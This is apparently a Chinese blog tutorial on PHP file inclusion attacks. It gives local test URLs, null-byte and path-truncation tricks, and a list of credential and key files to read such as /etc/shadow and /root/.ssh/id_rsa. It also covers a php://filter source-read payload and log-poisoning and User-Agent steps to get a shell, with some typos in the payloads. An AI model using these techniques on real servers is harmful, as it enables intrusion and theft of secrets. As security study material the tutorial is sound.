松鼠说web安全之文件包含
无需言,做自己。
总结:
(1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;
(2) ***_once() 已加载的不重复加载
本地文件包含
1、包含图片的文件上传
demo1 show.php:
上传图片 1_php.jpg
测试:
http://localhost/code_inject/1/show.php?page=upload/20160801155130.jpg
demo2 show.php:
http://localhost/code_inject/2/show.php?page=../upload/20160801155526.jpg
demo3 show.php:
http://localhost/code_inject/3/show.php?page=../upload/20160801155718.jpg%00
读取/etc/passwd文件:/etc/passwd%00
条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效
3、路径长度截断
/etc/passwd/./././././.[...]/./././.
条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256
4、读文件
index.php?file=/etc/passwd
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
6、读取PHP文件
index.php?file=php://filter/read=convert.dase64.encode/resource=index.php
首先要找到日志文件的存放位置
让日志文件插入PHP代码
包含日志文件
index.php?page=/var/log/httpd/access_log
8、包含环境变量GetShell
需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload
远程文件包含
条件:
php.ini 中配置项
alow_url_fopen ON
allow_url_include ON
appache日志文件默认在
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_logs
也可以找到apache的配置文件,通过配置文件找齐日志文件路径:
/etc/httpd/conf/httpd或者
/etc/init.d/httpd
nginx日志文件默认在:
安装目录logs目录下
以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里
window 2003+iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows/system32\inetsrv\metabase.xml
iis 7日志文件默认在
%SystemDrive%\inetpub\logs\LogFiles
配置文件默认目录
C:\Windows\System\inetsrv\config\applicationHost.config